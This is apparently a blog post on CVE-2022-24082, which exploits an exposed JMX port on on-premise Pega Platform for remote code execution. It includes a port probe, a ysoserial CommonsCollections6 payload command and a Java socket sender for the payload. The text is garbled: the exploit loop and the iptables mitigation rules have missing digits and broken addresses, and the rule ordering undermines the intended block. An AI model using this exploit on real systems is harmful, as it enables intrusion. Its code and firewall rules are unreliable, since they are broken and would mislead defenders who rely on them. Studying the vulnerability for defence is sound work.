CVE-2022-24082 - Exploiting Pega Platform’s JMX Misconfiguration for Remote Code Execution

> Disclaimer: This article is for educational purposes only. Never attempt unauthorized access to computer systems.

Introduction

CVE-2022-24082 describes a critical vulnerability affecting on-premise installations of the Pega Platform if their JMX (Java Management Extensions) interface is unintentionally exposed to the Internet. By leaving port filtering misconfigured, attackers can upload malicious serialized objects, leading to remote code execution (RCE) on the underlying system. This vulnerability does NOT impact systems hosted on PegaCloud due to its secure architecture.

In this post, we’ll break down the flaw, demonstrate an example payload, discuss exploitation techniques, and share mitigation steps. Links to official sources and reference material are included.

What is Pega Platform and How Does JMX Relate?

Pega Platform is a low-code application development platform adopted by large enterprises for building CRM and BPM solutions. Like many Java applications, it supports JMX to manage and monitor deployed instances. JMX allows administrators to interface with the Java application using exposed ports — commonly 1099 (RMI) or 9999 (JMXMP).

If these management ports are left open or exposed to the wider Internet, attackers can interact with the JMX service directly.

Vulnerability Details

According to the Pega Security Advisory, the issue stems from the following:

- On-premise Pega installations may have the JMX port (such as 1099 or 9999) open and accessible from outside the trusted network.
- If port filtering/firewalls are not set up or misconfigured, anyone — including attackers — can access the JMX port from anywhere.

Through this JMX port, it's possible to upload a malicious Java serialized payload.

Why is serialization dangerous?
If a Java application does not sanitize serialized objects, attackers can use Java Deserialization vulnerabilities by crafting special payloads that, when processed, let them execute arbitrary code on the server.

Connect to JMX Interface:

- Use JConsole, jmxterm, or a custom tool.

Gain Code Execution:

- Once processed, the code executes on the server, often granting remote shell or running arbitrary commands.

Suppose you want to check if Pega’s JMX port is open; you might use telnet

telnet <pega-instance-ip> 1099

If you get a response, the port is open.

To exploit this, attackers commonly use the ysoserial Java tool. Example payload generation:

java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.ser

To send this payload, a custom Java exploit can be crafted (simplified)

import java.io.*;
import java.net.*;

public class JMXExploit {
    public static void main(String[] args) throws Exception {
        Socket socket = new Socket("<pega-instance-ip>", 1099);
        FileInputStream payload = new FileInputStream("payload.ser");
        OutputStream out = socket.getOutputStream();
        byte[] buf = new byte[4096];
        int len;
        while ((len = payload.read(buf)) > ) {
            out.write(buf, , len);
        }
        out.flush();
        payload.close();
        socket.close();
    }
}

Note: This is just a demonstration. Real attacks may use more advanced methods and target specific MBeans.

Who is Affected?

Vulnerable:
Any on-premise Pega Platform installation with the JMX port exposed and accessible from the Internet without proper security controls.

_Not Vulnerable:_
- PegaCloud-hosted systems (per official advisory)
- Systems where JMX is disabled or only accessible on localhost/internal network

Authenticate:

- Enable authentication/SSL on JMX interfaces.

Sample firewall rule (Linux iptables)

# Block JMX port from the internet
sudo iptables -A INPUT -p tcp --dport 1099 -s .../ -j DROP

# Allow JMX only from internal trusted subnet
sudo iptables -A INPUT -p tcp --dport 1099 -s 192.168.1./24 -j ACCEPT

Conclusion

CVE-2022-24082 is a classic example of how leaving a management interface like JMX exposed can open the door for remote code execution. If you run Pega on-premise, immediately review your firewall and network configuration to ensure no JMX ports are public-facing. Disable or secure JMX if you don't need it.

If you suspect compromise, rotate credentials, patch systems, and conduct a thorough incident response. Stay safe!

*Share your experiences or questions below. Have you encountered exposed JMX interfaces in the wild?*

Timeline

Published on: 07/19/2022 15:15:00 UTC
Last modified on: 07/27/2022 22:41:00 UTC